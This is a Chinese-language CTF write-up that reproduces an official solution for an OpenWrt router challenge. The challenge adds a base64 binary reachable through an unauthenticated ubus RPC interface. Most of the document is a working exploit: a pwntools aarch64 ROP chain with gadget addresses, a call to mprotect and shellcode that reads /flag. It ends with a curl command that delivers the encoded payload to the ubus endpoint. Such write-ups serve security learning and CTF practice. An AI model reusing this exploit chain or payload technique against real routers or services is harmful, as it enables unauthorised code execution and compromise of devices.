本文采取根据官方wp的方式进行复现,需要官方WP的pdf文件也可以在评论区留言(侵删)
首先解压文件系统
mkdir rootfs
cd rootfs
unsquashfs ../unsquashfs ../squashfs-root.img
在etc/os-release
中我们能看到版本信息
NAME="OpenWrt"
VERSION="22.03.3"
ID="openwrt"
ID_LIKE="lede openwrt"
PRETTY_NAME="OpenWrt 22.03.3"
VERSION_ID="22.03.3"
HOME_URL="https://openwrt.org/"
BUG_URL="https://bugs.openwrt.org/"
SUPPORT_URL="https://forum.openwrt.org/"
BUILD_ID="r20028-43d71ad93e"
OPENWRT_BOARD="armvirt/64"
OPENWRT_ARCH="aarch64_cortex-a53"
OPENWRT_TAINTS=""
OPENWRT_DEVICE_MANUFACTURER="OpenWrt"
OPENWRT_DEVICE_MANUFACTURER_URL="https://openwrt.org/"
OPENWRT_DEVICE_PRODUCT="Generic"
OPENWRT_DEVICE_REVISION="v0"
OPENWRT_RELEASE="OpenWrt 22.03.3 r20028-43d71ad93e"
根据题目提示May be you need to do a diff with the rootfs in attachment.
,我们可以利用其中的关键词,从openwrt中搜索到官方的文件系统,解压后进行diff比较
cd rootfs
unsquashfs ../openwrt-22.03.3-armvirt-64-rootfs-squashfs.img
diff -r squashfs-root squashfs-root-d3op
可得如下图结果
可以看到题目的文件系统多了对二进制文件base64,以及其对应的ubus的rpc接口,且这个接口可以未经身份验证访问。
我们可以通过本机的127.0.0.1:9999查看路由器的登录入口,典型IOT
程序是去符号表的,不过简单逆向就能看出其逻辑,主函数如下
可根据argv的参数决定输出,比如参数为list
即可输出格式,call
会调用decode
或者encode
函数,跟进函数sub_4064f0
可以看到如下比较明显的框架:
漏洞点在decode
函数当中,观察如下两个部分
可以看到decode
函数通过计算出output_len
,并以此作为长度,先向v16
中赋值解码好的数据,然后整个拷贝进入a2
当中。
但在main
函数中,我们的读入是4095,而这里并没有检测v16的长度,导致v16作为一个中间量出现溢出。
此时看一眼base64
二进制程序的保护,发现只有NX,那么就可以直接溢出构造ROP了
基本思路如下:
from pwn import *
import base64
# context.log_level = "debug"
context.arch = "aarch64"
# p = process(["./base64", "decode"])
# elf = ELF("./elf")
# libc = ELF("./libc.so.6")
# 0x00000000004494b8 : ldr x0, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
set_x0 = 0x00000000004494b8
# 0x00000000004010ec : ldr x1, [sp, #0x28] ; add x0, x1, x0 ; ldp x29, x30, [sp],
#0x30 ; ret
set_x1 = 0x00000000004010ec
# call mprotect(x0[0x92] + x0[0x94], x0[0x93] - x0[0x94], 7)
call_mprotect = 0x00000000004579A4
shellcode = shellcraft.aarch64.linux.open("/flag", 0)
shellcode += shellcraft.aarch64.linux.read(3, 0x4a23a4, 0x100)
shellcode += '''
MOV X3, X0
LDR X1, =0x22
LDR X2, =0x4a23a3
STRB W1, [X3, X2]
LDR X1, =0x7d
LDR X2, =0x4a23a4
STRB W1, [X3, X2]
'''
shellcode += shellcraft.aarch64.linux.write(1, 0x4a2398, 0x100)
shellcode += '''
LDR X0, =1
LDR X9, =0x422D60
BLR X9
'''
payload = asm(shellcode,bits = 64)
payload = payload.ljust(0x200, b"\x00")
payload += p64(0)
payload += p64(0x4A3000)
payload += p64(0x4A2000)
payload = payload.ljust(0x300, b"\x00")
payload += b"{\"output\": \""
payload = payload.ljust(0x400, b"\x00")
payload += b"A\x00\x00\x00" # char1
payload += b"A\x00\x00\x00" # char2
payload += b"A\x00\x00\x00" # char3
payload += b"A\x00\x00\x00" # char3
payload += b"A\x00\x00\x00" # char4
payload += b"A\x00\x00\x00" # char4
payload += b"\x18\x06\x00\x00" # input lenght
payload += b"\x1d\x04\x00\x00" # output idx
payload += b"\x84\x05\x00\x00" # input idx
payload += b"\x92\x04\x00\x00" # output length
payload += p64(0x4A2500) # x29
payload += p64(set_x0) # x30
payload += p64(0) * 4
payload += p64(0x4A2500) # x29
payload += p64(call_mprotect) # x30
payload += p64(0x4A2298 - 0x490) # x0
payload += b"BBBBBBBB"
payload += b"CCCCCCCC"
payload += p64(0x4A2098)
payload += b"EEEEEEEE"
# p.sendline()
# p.interactive()
payload = base64.b64encode(payload)
print(payload)
curl --location 'http://127.0.0.1:9999/ubus' \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"id": 1,
"method": "call",
"params": [
"00000000000000000000000000000000",
"base64",
"decode",
{
"input":
"7sWM0o4trPLuDMDy7g8f+IDzn9Lg/7/y4P/f8uD///LhAwCR4gMfqggHgNIBAADUYACA0oF0hNJBCaDyAiCA0ugHgNIBAADU4wMAquEBAFgCAgBYYWgiOAECAFgiAgBYYWgiOCAAgNIBc4TSQQmg8gIggNIICIDSAQAA1GABAFiJAQBYIAE/1iIAAAAAAAAAoyNKAAAAAAB9AAAAAAAAAKQjSgAAAAAAAQAAAAAAAABgLUIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwSgAAAAAAACBKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeyJvdXRwdXQiOiAiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEEAAABBAAAAQQAAAEEAAABBAAAAQQAAABgGAAAdBAAAhAUAAJIEAAAAJUoAAAAAALiURAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJUoAAAAAAKR5RQAAAAAACB5KAAAAAABCQkJCQkJCQkNDQ0NDQ0NDmCBKAAAAAABFRUVFRUVFRQ=="
}
]
}'